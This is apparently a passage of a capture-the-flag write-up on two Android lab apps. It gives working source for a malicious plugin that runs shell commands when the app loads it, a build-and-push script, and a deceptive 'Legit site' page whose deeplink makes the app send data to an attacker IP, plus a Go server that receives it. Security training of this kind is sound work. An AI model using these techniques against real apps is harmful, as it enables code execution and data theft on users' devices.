To create our malicious plugin we need to put the plugin code and struct in the same folder.
It has to match the same package as the target app , so create a folder “com/eightksec/droidwars/plugin”
My plugin below does code execution. The file has to be names “MaliciousPlugin.java”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
|
package com.eightksec.droidwars.plugin;
import android.util.Log;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class MaliciousPlugin implements PokemonPlugin {
  @Override
  public String getName() {
    executeMaliciousLogic();
    return "Malicious Pikachu";
  }
  @Override
  public String getType() {
    return "Electric (Malicious)";
  }
  @Override
  public String getDescription() {
    return "This Pikachu tries to read sensitive files!";
  }
  @Override
  public int getImageResourceId() {
    return 0; // Use 0 if no drawable needed
  }
  @Override
  public List<String> getAbilities() {
    return Arrays.asList("Stealth", "Data Theft");
  }
  @Override
  public Map<String, Integer> getStats() {
    Map<String, Integer> stats = new HashMap<>();
    stats.put("Malice", 999);
    return stats;
  }
  private void executeMaliciousLogic() {
  try {
    // 2) Run shell command `id`
    Process process = Runtime.getRuntime().exec("id");
    BufferedReader cmdReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    StringBuilder cmdOutput = new StringBuilder();
    String line;
    while ((line = cmdReader.readLine()) != null) {
      cmdOutput.append(line).append("\n");
    }
    cmdReader.close();
    process.waitFor();
    Log.e("MaliciousPlugin", "Shell command output: " + cmdOutput);
    System.out.println("MaliciousPlugin shell output: " + cmdOutput);
  } catch (Exception e) {
    Log.e("MaliciousPlugin", "Error in malicious logic", e);
  }
}
}
|
I also added in the same folder “PokemonPlugin.java” with the following contents
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package com.eightksec.droidwars.plugin;
import java.util.List;
import java.util.Map;
public interface PokemonPlugin {
  String getName();
  String getType();
  String getDescription();
  int getImageResourceId();
  List<String> getAbilities();
  Map<String, Integer> getStats();
}
|
To compile these , i wont lie i needed the help of chatgpt to do this , java is such a crazy language.
Anyways…
It first compiles the java code to jar archives , then converts the jar to dex , then pushes to the plugin folder using adb.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
# Configurable paths
$ANDROID_JAR = "C:\Users\f0rk3b0mb\AppData\Local\Android\Sdk\platforms\android-34\android.jar"
$SRC_DIR = "src\com\eightksec\droidwars\plugin"
$OUT_DIR = "out"
$JAR_NAME = "plugin.jar"
# Make sure the output directory exists
if (-Not (Test-Path $OUT_DIR)) {
  New-Item -ItemType Directory -Path $OUT_DIR | Out-Null
}
Write-Output "[*] Compiling Java sources..."
javac -d $OUT_DIR -classpath $ANDROID_JAR `
  "$SRC_DIR\PokemonPlugin.java" `
  "$SRC_DIR\MaliciousPlugin.java"
if ($LASTEXITCODE -ne 0) {
  Write-Error "[!] Compilation failed."
  exit 1
}
Set-Location $OUT_DIR
Write-Output "[*] Creating JAR archive..."
jar cvf ..\$JAR_NAME com
if ($LASTEXITCODE -ne 0) {
  Write-Error "[!] JAR creation failed."
  exit 1
}
Set-Location ..
Write-Output "[*] Converting JAR to DEX..."
d8.bat --output=. .\$JAR_NAME
if ($LASTEXITCODE -ne 0) {
  Write-Error "[!] DEX conversion failed."
  exit 1
}
Write-Output "[*] Pushing DEX to device..."
adb push .\classes.dex /sdcard/PokeDex/plugins/Malicious.dex
if ($LASTEXITCODE -ne 0) {
  Write-Error "[!] adb push failed."
  exit 1
}
Write-Output "[+] Done! Malicious.dex deployed to /sdcard/PokeDex/plugins/ on your device."
|
If we launch the app the plugin is loaded and we get code execution.
ReconDroid
If you’ve read the writeup to this point good for you, also get a job :)

This app lists information on a systems android apps and can then export this information to a remote endpoint.
GOAL: create a webpage that tricks a user so as to steal their critical information.
Here we will be creating a webpage instead of an app . yay.
Analysis
These are the only exported activities
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
<activity
android:name="com.eightksec.recondroid.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="recondroid"
android:host="export"/>
</intent-filter>
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="recondroid"
android:host="debug"/>
</intent-filter>
</activity>
<provider
android:name="com.eightksec.recondroid.DebugInfoProvider"
android:readPermission="android.permission.INTERNET"
android:exported="true"
android:authorities="com.eightksec.recondroid.debug"/>
|
In the DebugInfoProvider is where the magic happens. If you proceed down this rabbit hole good luck.
Anyways…
In the MainActivity we can see how it handles intents
We need to set the host to debug to avoid going down the rabbit hole, we just need to supply the remote ip , port and protocol which is http.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
private final void handleIntent(Intent intent) {
Log.d("ReconDroid", "=== INTENT RECEIVED ===");
if (Intrinsics.areEqual(intent.getAction(), "android.intent.action.VIEW")) {
Uri data = intent.getData();
if (Intrinsics.areEqual(data != null ? data.getScheme() : null, "recondroid")) {
Log.d("ReconDroid", "ReconDroid deeplink detected!");
String host = data.getHost();
if (host != null) {
int hashCode = host.hashCode();
if (hashCode != -1289153612) {
if (hashCode == 95458899 && host.equals("debug")) {
handleDebugDeeplink(data);
return;
}
} else if (host.equals("export")) {
handleExportDeeplink(data);
return;
}
}
Log.d("ReconDroid", "Unknown deeplink host: " + data.getHost());
return;
}
Log.d("ReconDroid", "Not a ReconDroid deeplink");
return;
}
Log.d("ReconDroid", "Not an ACTION_VIEW intent");
}
|
This will result in calling a method performAutoExport
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
private final void handleDebugDeeplink(Uri uri) {
String str;
String queryParameter = uri.getQueryParameter("action");
if (Intrinsics.areEqual(queryParameter, "get_key")) {
performKeyDiagnostics();
String queryParameter2 = uri.getQueryParameter("host");
String queryParameter3 = uri.getQueryParameter("port");
String queryParameter4 = uri.getQueryParameter("protocol");
if (queryParameter4 == null) {
queryParameter4 = "http";
}
String str2 = queryParameter2;
if (str2 == null || str2.length() == 0 || (str = queryParameter3) == null || str.length() == 0) {
return;
}
performAutoExport(queryParameter4, queryParameter2, queryParameter3);
return;
}
if (Intrinsics.areEqual(queryParameter, "get_status")) {
BackupExportManager backupExportManager = this.backupExportManager;
if (backupExportManager == null) {
Intrinsics.throwUninitializedPropertyAccessException("backupExportManager");
backupExportManager = null;
}
backupExportManager.showToast("Debug: System operational");
}
}
|
Exploit
To create an exploit we will ned to create a webpage and webserver to handle data exfil.
I decided to use golang since im not a noob and want to be diffferent :()
Anyways index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Legit site</title>
</head>
<body>
  <center>
    <h1>Welcome to the Legit Site</h1>
    <p>This is a safe and secure website.</p>
    <p>For the deeplink is in the link below, adjust host and port for demonstration purposes.</p>
  </center>
  <h3><a href="recondroid://debug?action=get_key&protocol=http&host=192.168.156.97&port=8000">Click here for more information</a></h3>
</body>
</html>
|
The deeplink is “recondroid://debug?action=get_key&protocol=http&host=192.168.156.97&port=8000”
Then this is my webserver listening on the host and port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
|
package main
import (
  "io"
  "log"
  "net/http"
  "os"
)
func ProcessRequest(w http.ResponseWriter, r *http.Request) {
  if r.Method != http.MethodPost {
    http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
    return
  }
  err := r.ParseMultipartForm(10 << 20) // Limit to 10 MB
  if err != nil {
    http.Error(w, "Error parsing form: "+err.Error(), http.StatusBadRequest)
    return
  }
  file, fileheader, err := r.FormFile("file") // Expecting a form field named "file"
  if err != nil {
    http.Error(w, "Error retrieving file: "+err.Error(), http.StatusBadRequest)
    return
  }
  log.Println("[+] File received :", fileheader.Filename)
  defer file.Close()
  out, err := os.Create("./uploads/" + fileheader.Filename) // Save to uploads directory
  if err != nil {
    http.Error(w, "Error creating file: "+err.Error(), http.StatusInternalServerError)
    return
  }
  log.Println("[+] File created :", fileheader.Filename)
  defer out.Close()
  _, err = io.Copy(out, file)
  if err != nil {
    http.Error(w, "Error saving file: "+err.Error(), http.StatusInternalServerError)
    return
  }
  log.Println("[+] File saved successfully :", fileheader.Filename)
  w.Write([]byte("File uploaded successfully"))
}
func main() {
  http.HandleFunc("/upload", ProcessRequest)
  //send html file content
  http.Handle("/", http.FileServer(http.Dir("./static")))
  log.Println("Server started on 0.0.0.0:8000")
  err := http.ListenAndServe("0.0.0.0:8000", nil)
  if err != nil {
    log.Fatal(err)
    return
  }
}
|
This will host and run receive the exfil data.
REFERENCES
https://developer.android.com/
https://itsfading.github.io/posts/HexTree-Attack-Surface-App-Solutions
https://hextree.io/
https://github.com/f0rk3b0mb/android